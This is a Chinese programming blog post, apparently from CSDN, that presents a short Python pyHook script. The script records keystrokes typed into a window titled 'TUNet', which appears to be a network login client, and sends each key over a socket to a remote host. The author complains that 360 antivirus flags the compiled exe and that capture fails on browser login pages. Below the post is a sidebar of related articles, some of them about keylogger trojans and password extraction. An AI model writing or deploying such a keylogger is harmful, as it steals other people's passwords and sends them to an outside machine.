pyhook学习—捕获某程序过程键盘输入

“从入门到精通PyHook库函数的全面教程“ HookManager的MouseAll和KeyboardAll属性可以用于拦截所有的键盘和鼠标事件,而MouseAllButtons和MouseLeftDown等属性可以用于单独拦截鼠标事件。PyHook是一个用于创建钩子的Python库函数,它可以拦截和处理来自鼠标和键盘等设备的事件,同时也能够对系统事件进行监控和响应。本文介绍了PyHook库函数的安装、基础使用和高级应用,并对使用过程中的注意事项进行了详细说明。在使用PyHook时,要确保消息循环是处于激活状态的,否则事件处理函数将不会被调用。 阅读详情

捕获某程序运行过程键盘输入,并利用socket模块发送

# -*- coding: cp936 -*-
import pythoncom  
import pyHook  
import win32api
import re
import socket

port=1234
host=**

def onKeyboardEvent(event):
    if re.findall(r'TUNet',str(event.WindowName))!=[]:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(str(event.Key))
        s.close()

    if str(event.Key)=='Return':  #按下enter后终止   
        win32api.PostQuitMessage()
        
    return True
    

if __name__ == "__main__":

    #创建hook句柄  
    hm = pyHook.HookManager()  
    #监控键盘  
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()

    
    
    #循环获取消息  
    pythoncom.PumpMessages(1000)

存在问题:

编译成exe后马上被360查出来,利用键盘事件的windowsname来识别在其他程序中,不管用,比如浏览器的某网页登陆界面等等,大部分时候windowsname都是none

 

参考:
小五义《pyhooks实现键盘监控学习心得》 http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html



Pyhook3源码剖析及应用实践 Python 的世界里,事件钩子(Hooking)技术提供了一种强大而灵活的方式来修改和增强应用程序行为。Pyhook3 是一个用于创建各种钩子的第三方库,它在 Python 社区中被广泛讨论和使用。本章将介绍 Pyhook3 的基础知识,并解释它如何以及为何在诸多场景中成为开发者不可或缺的工具。Pyhook3 的核心是提供了一套丰富的接口,以便用户可以拦截键盘、鼠标事件,甚至可以监控和修改应用程序的窗口消息。 阅读详情

相关推荐

低级键盘钩子

低级键盘钩子

利用windows消息机制,截获特定应用程序里鼠标、键盘的消息事件

最近做一个项目,需要截获特定应用程序里鼠标和键盘的消息事件。之前本人对windows底层的消息处理机制并不熟悉,通过学习知道钩子机制可以帮助我们截获处理windows消息或特定事件,现将本人所掌握的知识内容总结如下:1.调用windows底层API,定义winAPI类  using System.Runtime.InteropServices; public class WinApi ...

nj2011zy的博客 5067

JY02无刷电机驱动芯片的硬件设计与调试实战

本文详细介绍了JY02无刷电机驱动芯片的硬件设计与调试实战。重点解析了其外置MOSFET的设计优势,提供了从电源滤波、功率MOSFET选型到电流采样保护的核心电路设计指南。文章还分享了安全上电、动态测试及常见问题排查的完整调试流程,并探讨了开关优化、闭环测速等性能提升技巧,帮助开发者构建稳定高效的无刷电机驱动系统。

weixin_29193359的博客 366

Python中的pyHook入门

如果您的程序在其他平台上运行,或者没有足够的权限,可能会出现问题。运行上述示例代码后,按下键盘上的任何按键时,都会将按键对应的字符输出到控制台上。运行上述示例代码后,用户每按下一个键盘按键,都会将按键字符和时间戳记录到​。​,您可以方便地监控和截取Windows操作系统的键盘事件和鼠标事件。​的键盘事件处理函数。​,我们可以监视和截取Windows操作系统的输入事件,例如键盘事件和鼠标事件。​的键盘事件处理函数,该函数将用户按下的按键输出到控制台上。​的官方文档,了解更多关于钩子的用法和事件的处理方式。

牛肉胡辣汤 2281

自适应粒子群优化(Adaptive Particle Swarm Optimization,APSO

下面是一个关于自适应粒子群优化(Adaptive Particle Swarm Optimization,APSO)的博客,希望可以帮助您。提示:以下是本篇文章正文内容,下面案例可供参考在上面的代码中,表示粒子的数量,表示解空间的维度,表示迭代次数,表示优化的目标函数。在__init__方法中,我们初始化了粒子群的位置和速度,并将每个粒子的位置作为其最优解,将其适应度值初始化为正无穷。我们还初始化了学习因子和惯性权重的参数。在run方法中,我们迭代了次,计算每个粒子的适应度值和最优解。

weixin_52026057的博客 9917

ANSYS Discovery 2023R1 入门:手把手教你玩转几何模型参数化(附历史追踪避坑指南)

本文详细介绍了ANSYS Discovery 2023R1中几何模型参数化建模的全流程,包括基础设置、参数化实战技巧及历史追踪避坑指南。通过Workbench集成和智能参数控制,工程师可以高效完成设计迭代,特别适合需要频繁调整几何模型的仿真场景。文章还提供了参数丢失的预防策略和工业应用实例,帮助用户快速掌握这一提升设计效率的核心技能。

weixin_33693070的博客 462

python pyhook_pyhook的简单使用

实验内容:通过python编程调用windows的api,编写键盘和鼠标监控的hook,将相关信息保存记录到txt文档中。实验步骤:1.Hook技术,pyHook3和pywin32简介1.1Hook简介windows应用程序是基于消息驱动的。各种应用程序对各种消息作出响应从而实现各种功能。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进...

weixin_39798031的博客 2735

ROS2新手必看:5分钟搞定Gazebo机器人仿真环境搭建(含避坑指南)

本文为ROS2新手提供了在Gazebo中快速搭建机器人仿真环境的详细指南。内容涵盖ROS2与Gazebo的协同架构理解、基础环境配置、机器人模型构建、传感器集成以及环境创建,并包含实用的避坑指南和调试技巧,帮助开发者高效掌握物理仿真技术。

weixin_29100927的博客 430

python学习笔记之pyhook及swig.exe安装

python学习笔记一pyhook3,swig.exe安装过程中的意外及注意事项 毕业多年没做软件,最近疫情无聊学习下python。 最简单的基础和别的语言差不多,就不说了。 这里总结下今天安装pyhook3的郁闷吧 网上很多大哥也不知道是真的不知道还是乱写。(告诉我pip setup.py install)弄得我一边百度一边谷歌的,优快云等等看了无数文章。。。自学就这点不好。 记住了: PYH...

weixin_43230516的博客 2602

工业场景落地:Java+PaddleOCR实现高性能OCR文字识别的终极方案

本文深度解析基于Java的高性能工业级OCR实现方案,集成PP-OCRv5深度学习模型,提供: ✅ 多场景支持:手写体、竖排文本、票据表格的精准识别 ✅ 工业级性能:毫秒级响应,支持GPU加速与高并发处理 ✅ 开箱即用:通过Maven快速集成,5行代码完成文字识别 ✅ 完整技术栈:覆盖文本检测、方向校正、识别后处理全流程 附可运行示例代码,助您快速构建企业级OCR系统!

deng775747758的博客 3612

钉钉多维表格开发

从0到1完成钉钉多维表格开发SDK对接与实践案例。

沉修所长,勇逐新机;安而不怠,静而思变 3647

PyHook3 的下载与安装 for window64位+python3.8

标题Python3.8环境安装PyHook3 PyHook3 的下载与安装 使用 pip install pyhook3 安装 PyHook3 的时候遇到了无法安装的问题。 但是在网上找了很久都没有找到很好的答案,也尝试了很多博主所说的方法,但是仍然无法安装。 之后,我自己摸索了一个多小时终于知道了问题的所在,并成功安装了 PyHook3 。 接下来,我就给大家分享一下我解决这几个问题的方法,当然也结合了其它博主的方法汇总而成,希望能够帮助到你们。 ———————————————— ** 一,pyhook3

NANGE007的博客 7336

华为OD机试真题 新系统【小花获胜的奶茶】

华为OD机试真题 新系统【小花获胜的奶茶】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题 【小花获胜的奶茶】多语言题解。

qq_45776114的博客 391

用pywinhook或pyhook监听鼠标事件

一位在读研的好朋友有一天找到我,问我制作PC端软件有啥好的语言,我问:“这是咋了?”,朋友答曰:在实验室电脑前总是不知不觉开始摸鱼,自制力不够,想搞个提醒学习的东西,在摸鱼时弹出自己的学习计划,提醒自己做点正事(巴巴托斯躺枪ing)。 我寻思这不我copy 写个python程序就行了。朋友提出更具体的功能需求:鼠标移动到屏幕外的时候会丝滑地出现一个小窗口,比如移动到右上角会出现一张自己设置的图片,从而时时刻刻提醒自己有什么样的ddl。 之后,通过我一番面向搜索引擎编程,做出:使用pyhook监听鼠标事件,当

香蕉包子的博客 2665

工业机器人抓取目标检测与抓取姿态估计系统:基于YOLOv12与Cornell Grasping Dataset

工业机器人抓取是自动化生产中的核心环节,而精确的目标检测和抓取姿态估计是实现高效抓取的关键。本文将详细介绍如何构建一个完整的工业机器人抓取系统,该系统结合了最新的YOLOv12目标检测算法和Cornell Grasping Dataset的抓取姿态估计,并提供了用户友好的UI界面。本文详细介绍了一个完整的工业机器人抓取系统,该系统结合了YOLOv12目标检测和基于Cornell Grasping Dataset的抓取姿态估计。我们将使用PyQt5构建一个用户友好的界面,集成目标检测和抓取姿态估计功能。

YOLO 574

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

PyHook

PyHook是一个基于Python的“钩子”库,主要用于监听当前电脑上鼠标和键盘的事件。这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在Windows平台,所以PyHook也只能运行在Windows平台。 关于PyHook的使用,在它的官方主页上就有一个简单的教程,大体上来说,可以这样使用 1 # -*- coding: utf-8 -

wuxiaobingandbob的专栏 3161

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

PyHook:Python驱动的密码提取神器

PyHook:Python驱动的密码提取神器 项目地址:https://gitcode.com/gh_mirrors/py/PyHook 项目介绍 PyHook,作为安全研究和渗透测试领域中的一颗新星,是基于SharpHook项目在Python生态中的实现。该项目巧妙利用API钩子(API Hooking)技术,深入系统内部,捕获关键的认证信息。通过Frida这一强大的代码注入工具,PyHook能...

gitblog_00082的博客 417

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

python pyhook_python中使用pyhook实现键盘监控的例子

pyhook下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/pyhookAPI手册:http://pyhook.sourceforge.net/doc_1.5.0/以上网站上提供了几个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywi...

weixin_39927059的博客 338

各种版本的python安装pyHook----解决找不到源的问题

各种版本的python安装pyHook背景最正常的python模块安装pyHook官网给的window安装包安装最兼容的安装方法 背景 最近在学习python 黑帽子编程,书的第八章有个windows下的键盘记录木马,需要安装pyHook的库,安装过程比较曲折,记录下自己的采坑指南。 最正常的python模块安装 习惯上我们安装python模块都是直接pip install … C:\Users\...

cynthrial的博客 1万+

什么?你不喜欢用鼠标还要强迫自己使用,赶紧自己做一个Python程序,手不用离开键盘,就能完成鼠标操作。Python利用制作Pyautogui和PyHook3获取键盘事件并遥控鼠标移动和点击的程序

在一个没有鼠标垫的地方,或者不喜欢将手离开键盘的人,那么这个程序一定很适合你。今天,我们就学习用Python来控制鼠标移动 文章目录制作准备安装Pyautogui安装PyHook3编写代码基础部分思路简介导入模块设置变量创建函数获取按键当前位置移动鼠标设置速度点击次数点击鼠标返回值调用函数完整代码 制作准备 首先我们要安装两个库第三方库,分别是pyautogui和pyhook3,在这里我使用的计算机是Windows10系统,版本是Python3.7,其他版本可能会发生未知错误。 首先我们来安装这两个模块 安

ZesenYuan的博客 1706

python 模拟键盘输入_换个姿势模拟登录

作者丨老肥来源丨老肥码码码(algo_and_data)今天老肥给大家介绍Python一个非常有意思的库PyUserInput,它集成了PyMouse和PyKeyboard这俩模块,能够模拟鼠标和键盘的操作,可以说是轻量级的按键精灵。我们可以用这个库来进行一些机械的重复操作,也可以作为小游戏的脚本。俗话说得好,工欲善其事,必先利其器,我们需要先将PyUserInput安装。模块安装不同...

weixin_39810441的博客 758

用Python造一个键盘记录功能出来!

Py工具系列旨在用Python来编写黑客工具。《Python编写键盘记录功能》是该系列第一篇文章,希望你引起你的兴趣。在此系列的学习过程中,还希望你多能自己动手编写代码,动手实践! 键盘记录已经是很古老的黑客技术了,但正因其居高地位,直到现在还在不同层面上广泛使用。简单的来讲,键盘记录就是攻击者获取信息的一种方式。获取信息包括账号、密码、手机号等等敏感信息以及词汇。 Python之所以强大,是...

专注前端技术,包括Web端、移动端、小程序、APP 1951
上一篇: python实现人人网留言获取与一键删除
下一篇: wxpython学习—简单界面
foolyc
博客等级 码龄15年 6粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值